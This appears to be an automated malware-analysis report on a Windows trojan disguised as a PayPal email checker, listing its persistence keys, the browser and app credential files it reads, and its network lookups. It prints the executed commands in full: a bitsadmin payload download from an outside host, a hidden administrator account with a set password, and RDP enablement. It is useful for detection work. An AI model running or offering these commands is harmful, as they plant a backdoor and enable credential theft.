Technical Information
To ensure autorun and distribution
Modifies the following registry keys
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Microsoft Azure' = '%TEMP%\GFAkkbcE.exe'
- [<HKCU>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'svchost' = '%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\GFAkkbcE.exe'
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\gfakkbce.exe
Malicious functions
Searches for registry branches where third party applications store passwords
- [<HKCU>\Software\Martin Prikryl\WinSCP 2\Sessions]
Reads files which store third party applications passwords
- %ProgramFiles(x86)%\steam\config\config.vdf
- %ProgramFiles(x86)%\steam\config\dialogconfig.vdf
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %APPDATA%\opera software\opera stable\login data
Modifies file system
Creates the following files
- %ProgramFiles(x86)%\leaf.xnet.dll
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
- %ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
- %ALLUSERSPROFILE%\q4x9r4r6x9r4r6\35egtu9jiwu
- %TEMP%\bit8fa1.tmp
- %APPDATA%\systeminfo.txt
- %ProgramFiles(x86)%\paypal valied email checker [v20]64.dll
- %ProgramFiles(x86)%\paypal valied email checker [v20]32.dll
- %ProgramFiles(x86)%\paypal valied emailchecker [v2.0].exe
- %APPDATA%\svchost.bat
- %APPDATA%\adminrdp.bat
- %APPDATA%\a.bat
- %ProgramFiles(x86)%\xnet.dll
- %ProgramFiles(x86)%\qoollo.turbo.dll
- %ProgramFiles(x86)%\metroframework.fonts.dll
- %ProgramFiles(x86)%\metroframework.dll
- %ProgramFiles(x86)%\metroframework.design.dll
- %LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
- %TEMP%\gfakkbce.exe
Sets the 'hidden' attribute to the following files
- %TEMP%\bit8fa1.tmp
Deletes the following files
- %ALLUSERSPROFILE%\q4x9r4r6x9r4r6\35egtu9jiwu
- %TEMP%\svchost.exe
Moves the following files
- from %TEMP%\bit8fa1.tmp to %TEMP%\svchost.exe
Substitutes the following files
- %ALLUSERSPROFILE%\q4x9r4r6x9r4r6\35egtu9jiwu
Network activity
TCP
HTTP GET requests
- http://pd#.#qfucai.com/wp-content/plugins/the-events-calendiruum/svchosttt.exe
- http://pd#.#qfucai.com/wp-content/plugins/the-events-calendiruum/svchost.exe
UDP
- DNS ASK 2n#.co
- DNS ASK to####z1.mail.ru
- DNS ASK mc.yandex.ru
- DNS ASK co####r.yadro.ru
- DNS ASK cd###.#loubflare.com
- DNS ASK fr###kassa.ru
- DNS ASK i.##gur.com
- DNS ASK i.##b.co
- DNS ASK go#####analytics.com
- DNS ASK go#####agmanager.com
- DNS ASK bl###chain.info
- DNS ASK aj##.#oogleapis.com
- DNS ASK ss#.#static.com
- DNS ASK s.##img.com
- DNS ASK accounts.google.com
- DNS ASK fo###.gstatic.com
- DNS ASK fo###.#oogleapis.com
- DNS ASK i.##img.com
- DNS ASK de###atet.com
- DNS ASK microsoft.com
- DNS ASK pd#.#qfucai.com
- DNS ASK yo##ube.com
- DNS ASK ma###ocorp.ml
- DNS ASK st####.rapidssl.com
Miscellaneous
Searches for the following windows
- ClassName: 'DDEMLMom' WindowName: ''
- ClassName: 'IEFrame' WindowName: ''
- ClassName: 'Static' WindowName: ''
- ClassName: 'MPWClass' WindowName: ''
- ClassName: 'MS_AutodialMonitor' WindowName: ''
- ClassName: 'MS_WebCheckMonitor' WindowName: ''
Creates and executes the following
- '%ProgramFiles(x86)%\paypal valied emailchecker [v2.0].exe'
- '%TEMP%\svchost.exe'
- '%TEMP%\gfakkbce.exe'
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\a.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\adminrdp.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\svchost.bat" "' (with hidden window)
- '%TEMP%\gfakkbce.exe' ' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\a.bat" "
- '%WINDIR%\syswow64\ipconfig.exe'
- '%WINDIR%\syswow64\systeminfo.exe'
- '%WINDIR%\syswow64\dxdiag.exe' /whql:off /t systeminfo.txt
- '%WINDIR%\syswow64\attrib.exe' C:\users\MagBo1337 +r +a +s +h
- '%WINDIR%\syswow64\reg.exe' add "HKLM\software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v MagBo1337 /t REG_DWORD /d 0x0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxIdleTime" /t REG_DWORD /d 0x0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxDisconnectionTime" /t REG_DWORD /d 0x0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v "MaxConnectionTime" /t REG_DWORD /d 0x1 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "fDenyTSConnections" /t REG_DWORD /d 0x0 /f
- '%WINDIR%\syswow64\reg.exe' add "HKLM\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f
- '%WINDIR%\syswow64\net1.exe' accounts /forcelogoff:no /maxpwage:unlimited
- '%WINDIR%\syswow64\net.exe' accounts /forcelogoff:no /maxpwage:unlimited
- '%WINDIR%\syswow64\cmd.exe' timeout /t 3 & del /f /q %TEMP%\svchost.exe
- '%WINDIR%\syswow64\net1.exe' localgroup "Remote Desktop Users" MagBo1337 /add
- '%WINDIR%\syswow64\wbem\wmic.exe' Group Where "SID = 'S-1-5-32-555'" Get Name /Value
- '%WINDIR%\syswow64\cmd.exe' /c wmic Group Where "SID = 'S-1-5-32-555'" Get Name /Value | Find "="
- '%WINDIR%\syswow64\net1.exe' localgroup Administrators MagBo1337 /add
- '%WINDIR%\syswow64\net.exe' localgroup Administrators MagBo1337 /add
- '%WINDIR%\syswow64\net1.exe' user MagBo1337 Admin1337 /add /active:"yes" /expires:"never" /passwordchg:"NO"
- '%WINDIR%\syswow64\net.exe' user MagBo1337 Admin1337 /add /active:"yes" /expires:"never" /passwordchg:"NO"
- '%WINDIR%\syswow64\bitsadmin.exe' /transfer job1 http://pd#.#qfucai.com/wp-content/plugins/the-events-calendiruum/svchosttt.exe %TEMP%\svchost.exe
- '%WINDIR%\syswow64\find.exe' "="
- '%WINDIR%\syswow64\wbem\wmic.exe' Group Where "SID = 'S-1-5-32-544'" Get Name /Value
- '%WINDIR%\syswow64\cmd.exe' /c wmic Group Where "SID = 'S-1-5-32-544'" Get Name /Value | Find "="
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\svchost.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\adminrdp.bat" "
- '%WINDIR%\syswow64\net.exe' localgroup "Remote Desktop Users" MagBo1337 /add
- '%WINDIR%\syswow64\timeout.exe' /t 3
